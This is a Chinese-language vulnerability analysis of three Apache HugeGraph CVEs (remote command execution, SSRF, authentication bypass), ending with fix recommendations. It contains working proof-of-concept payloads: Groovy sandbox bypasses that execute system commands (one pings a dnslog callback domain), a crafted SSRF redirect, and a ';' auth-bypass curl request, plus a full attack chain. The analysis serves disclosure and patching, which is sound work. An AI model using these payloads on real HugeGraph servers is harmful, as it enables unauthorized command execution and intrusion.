Apache HugeGraph-Server(CVE-2024-27347|27348|27349)漏洞分析
字数 1635 2025-08-03 16:43:40
Apache HugeGraph-Server 漏洞分析报告 (CVE-2024-27347/27348/27349)
1. 漏洞概述
Apache HugeGraph-Server 是一个快速、高度可扩展的图数据库系统,遵循 Apache TinkerPop 3 框架,支持通过 Gremlin 图遍历语言实现复杂图查询。在版本 1.0.0 至 1.3.0 之间发现了三个关键漏洞:
- CVE-2024-27348: 远程命令执行漏洞
- CVE-2024-27347: SSRF 漏洞
- CVE-2024-27349: 鉴权绕过漏洞
2. CVE-2024-27348: 远程命令执行漏洞
2.1 漏洞描述
HugeGraph-Server 在处理 Gremlin 查询时存在远程命令执行漏洞,攻击者可通过精心构造的 Gremlin 查询绕过安全沙箱限制,执行任意系统命令。
2.2 影响范围
- Apache HugeGraph-Server: 1.0.0 至 1.3.0 之前版本
2.3 环境搭建
wget https://downloads.apache.org/incubator/hugegraph/{version}/apache-hugegraph-incubating-{version}.tar.gz
tar zxf *hugegraph*.tar.gz
# 修改 hugegraph.properties 文件
bin/start-hugegraph.sh
2.4 漏洞分析
2.4.1 漏洞触发点
通过以下接口发送 Gremlin 查询时存在漏洞:
curl -H "Content-Type: application/json" -X POST http://localhost:8080/gremlin -d @poc
poc 文件内容示例:
{
"gremlin": "scriptEnginePaylod",
"bindings": {},
"language": "gremlin-groovy",
"aliases": {}
}
最终会通过 org.apache.tinkerpop.gremlin.groovy.jsr223.GremlinGroovyScriptEngine#eval 执行 Groovy 代码。
2.4.2 安全机制分析
项目实现了 HugeSecurityManager 类继承 SecurityManager,对危险操作进行限制,如 checkExec 方法会拦截命令执行。
2.4.3 绕过方法
-
反射绕过:默认配置未限制反射操作
{ "gremlin": "Class clz = Class.forName(\"java.lang.ProcessImpl\");java.lang.reflect.Method method=clz.getDeclaredMethod(\"start\",String[].class,Map.class,String.class,ProcessBuilder.Redirect[].class, boolean.class);String[] cmd = new String[2];cmd[0]=\"touch\";cmd[1]=\"/tmp/20231219\";method.setAccessible(true);method.invoke(clz,cmd,null,null,null,false);", "bindings": {}, "language": "gremlin-groovy", "aliases": {} } -
线程名修改绕过:修改线程名绕过安全检查
{ "gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName(\"java.lang.Thread\");java.lang.reflect.Field field = clz.getDeclaredField(\"name\");field.setAccessible(true);field.set(thread,\"evil\");Runtime.getRuntime().exec(\"ping test.t28yhq.dnslog.cn\");", "bindings": {}, "language": "gremlin-groovy", "aliases": {} }
3. CVE-2024-27347: SSRF 漏洞
3.1 影响范围
- Apache HugeGraph-Hubble: 1.0.0 至 1.3.0 之前版本
3.2 漏洞利用场景
当目标不存在图时,可通过 Hubble 管理平台的 SSRF 漏洞间接攻击 HugeGraph-Server。
3.3 漏洞分析
- Hubble 发送
/versionsGET 请求时,JerseyWebTarget会跟随 30X 跳转 - 可构造恶意服务响应 301 跳转,控制跳转目标
- 利用跳转访问 HugeGraph-Server 的 Gremlin 接口执行命令
3.4 利用步骤
- 搭建恶意服务器 (如使用 mockoon) 监听 3000 端口
- 配置响应 301 跳转到目标 Gremlin 接口:
Location: http://xx.xx.xx.xx:xx/gremlin?gremlin=Thread%20thread%20%3D%20Thread.currentThread()%3BClass%20clz%20%3D%20Class.forName(%22java.lang.Thread%22)%3Bjava.lang.reflect.Field%20field%20%3D%20clz.getDeclaredField(%22name%22)%3Bfield.setAccessible(true)%3Bfield.set(thread%2C%22evil%22)%3BSystem.getProperties()%3B - 发送恶意请求:
POST /api/v1.2/graph-connections HTTP/1.1 Host: 172.27.64.135:8088 Content-Length: 91 Content-Type: application/json;charset=UTF-8 {"name":"bb","graph":"aa","host":"172.27.64.1","port":"3000","username":"44","password":"44"}
4. CVE-2024-27349: 鉴权绕过漏洞
4.1 鉴权配置
在 gremlin-server.yaml 中配置:
authentication: {
authenticator: org.apache.hugegraph.auth.StandardAuthenticator,
authenticationHandler: org.apache.hugegraph.auth.WsAndHttpBasicAuthHandler,
config: {tokens: conf/rest-server.properties}
}
rest-server.properties 配置:
auth.authenticator=org.apache.hugegraph.auth.StandardAuthenticator
auth.graph_store=hugegraph
4.2 鉴权绕过方法
利用 ; 分隔符绕过白名单检查:
curl "http://172.27.64.135:8080/graphs/hugegraph/auth/users;versions"
4.3 限制
虽然可以绕过部分 API 鉴权,但无法直接绕过 Gremlin 接口的鉴权,因为 HugeGraph 会构造新请求并再次验证。
5. 综合攻击链
- 发现暴露的 HugeGraph-Hubble 服务
- 分两种情况:
- 存在图管理:直接发送恶意 Gremlin 查询绕过沙箱执行命令
- 不存在图管理:利用 SSRF 漏洞间接攻击 HugeGraph-Server
- 如果目标开启鉴权:尝试使用
;分隔符绕过鉴权获取信息
6. 修复建议
- 升级到 HugeGraph-Server 1.3.0 或更高版本
- 加强安全沙箱对反射操作的检查
- 规范化 URI 路径处理,防止
;分隔符绕过 - 限制 Hubble 的 SSRF 可能性,如禁用跳转跟随
- 最小化网络暴露,避免管理界面直接暴露在公网
7. 参考
- 原始漏洞分析文章
- Apache HugeGraph 官方文档
- Java 安全沙箱机制相关资料